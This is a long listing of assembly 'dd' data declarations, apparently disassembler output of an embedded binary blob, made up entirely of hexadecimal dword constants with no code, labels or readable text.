dd 40E59D03h, 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h
dd 770740DEh, 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch
dd 14000C20h, 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h
dd 14046B22h, 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h
dd 0C90AFCC7h, 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h
dd 60EA4Dh, 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h
dd 0E3BF0092h, 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h
dd 0D69C0979h, 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h
dd 201018h, 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h
dd 0C697515Bh, 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h
dd 0E9088D9Ch, 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah
dd 326A9B05h, 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h
dd 4D68809h, 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch
dd 80960041h, 14819844h, 38000988h, 1C08119Ah, 467FE8h
dd 109BB802h, 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h
dd 0E9006C3h, 0C605111h, 87B009A0h, 460410Eh, 7171860h
dd 0A13600E8h, 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h
dd 3A47519h, 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h
dd 4022E34h, 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch
dd 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h, 0BC026600h
dd 6239DC26h, 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h
dd 90C0204h, 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h
dd 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h
dd 0CC1D1B48h, 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch
dd 0CC29ECA8h, 11315408h, 2B744824h, 0BE2330h, 75D17632h
dd 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch
dd 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h
dd 4C70253Ch, 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h
dd 51766CF1h, 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h
dd 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h
dd 1E117CC6h, 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh
dd 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h
dd 1558408Dh, 0C6010013h, 31181F84h, 821000Ch, 32032480h
dd 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh
dd 0EAFC6101h, 863B3000h, 18455140h, 80112DBFh, 80191B57h
dd 0B5413938h, 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh
dd 319C0C56h, 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h
dd 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h
dd 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h
dd 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h
dd 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h
dd 2C48C424h
dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h
dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch
dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h
dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h
dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h
dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h
dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h
dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh
dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h
dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh
dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h
dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h
dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh
dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h
dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh
dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h
dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h
dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch
dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh
dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h
dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h
dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh
dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh
dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h
dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h
dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h
dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h
dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h
dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h
dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h
dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
dd 41400F4h, 268C1C97h, 27B83411h, 4C00427Eh, 64445822h
dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
dd 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h, 0AEA22C32h
dd 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h, 7200656Bh
dd 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh
dd 0E66ECE1Eh, 1C0C6854h, 49646117h, 446DD300h, 0F83046h
dd 69757243h, 617B63E4h, 0EB537E00h, 6E6F108Ch, 0CA4C2E31h
dd 56170067h, 7EDA45E0h, 1895B000h, 27B6499Dh, 7AFC0124h
dd 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h, 6F960382h
dd 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h
dd 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h, 287942B8h
dd 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h, 4CE1416Eh
dd 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h
dd 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h
dd 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh, 735200CEh
dd 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h
dd 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh, 459403A0h
dd 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h
dd 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah, 0FA730032h
dd 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h
dd 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h, 501A0926h
dd 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h, 0D4770082h
dd 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h, 90C6B864h
dd 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h
dd 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h
dd 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh
dd 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h
dd 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h, 326700F2h
dd 9143565Ch, 20E4D00h, 9A4F29D9h, 0C06E39A6h, 21D41300h
dd 8723DB89h, 58A7A00h, 29747561h, 70B50740h, 80A00DE4h
dd 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h, 7F9A0028h
dd 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h, 458C02Eh
dd 0A525D4h, 548FCC8Ah, 542849Ah, 9100B8E8h, 591B470Eh
dd 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h, 24125628h
dd 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h, 70476D75h
dd 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah, 3D0A599Ch
dd 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h, 0A500C571h
dd 0C105C91Ch, 0F9D0075h
dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h
dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh
dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h
dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh
dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h
dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h
dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h
dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh
dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h
dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h
dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h
dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h
dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h
dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch
dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h
dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h
dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h
dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h
dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh
dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h
dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh
dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h
dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
dd 28C1206h, 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h
dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh
dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h
dd 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h
dd 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h, 0F07DE77Bh
dd 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h, 87675584h
dd 678647B5h, 0AF96878Eh, 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh
dd 9FD69FCEh, 0A4E69FDEh, 80F61FFFh, 380687FEh, 1607270Eh
dd 26671E47h, 36A52EA0h, 46EE0E4Fh, 56404ECFh, 661A0FD6h
dd 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h
dd 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h
dd 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh
dd 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h
dd 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh
dd 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh
dd 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h
dd 40260F4h, 3A0C3B39h, 1C00143Ah, 2C3D243Ch, 3F77343Eh
dd 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh
dd 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h
dd 4E87AAE4h, 487FC20h, 195B03Ch, 671C4714h, 602C8424h
dd 253CC93h, 7CFEC77Fh, 40E884E7h, 7ED492A3h, 0CE74BC72h
dd 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h
dd 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh
dd 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh
dd 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh, 0A72CE427h
dd 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch
dd 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h
dd 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch
dd 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh
dd 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch, 0F83093F0h
dd 8C99F0F7h, 130F6010h, 612501D4h, 51347882h, 0F96890F3h
dd 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h, 0C05DB003h
dd 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh, 83A0431h
dd 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h, 6EA7586Ch
dd 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h
dd 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h, 0CA30008h
dd 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h, 60E5015Ch
dd 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah
dd 0D22C4862h, 0E0F82400h
dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h
dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h
dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh
dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h
dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh
dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah
dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h
dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh
dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h
dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h
dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h
dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h
dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h
dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h
dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h
dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh
dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h
dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h
dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh
dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h
dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h
dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h
dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh
dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h
dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh
dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h
dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
dd 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h, 0FE27FAh
dd 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah
dd 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch, 504F7AB2h
dd 5801BA09h, 14642641h, 1D6424A6h, 3F6098ACh, 2C13B4C9h
dd 3C2503BCh, 25903FCCh, 2A0014ECh, 0AEB00472h, 4A0C76h
dd 18320F10h, 20CF1C8Fh, 284C9DE5h, 34C82C81h, 60C85C9Fh
dd 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h
dd 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h
dd 0E04DDC7Eh, 67983Ah, 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h
dd 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h, 66011C4Eh
dd 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch, 9FA89FA4h
dd 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h
dd 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch
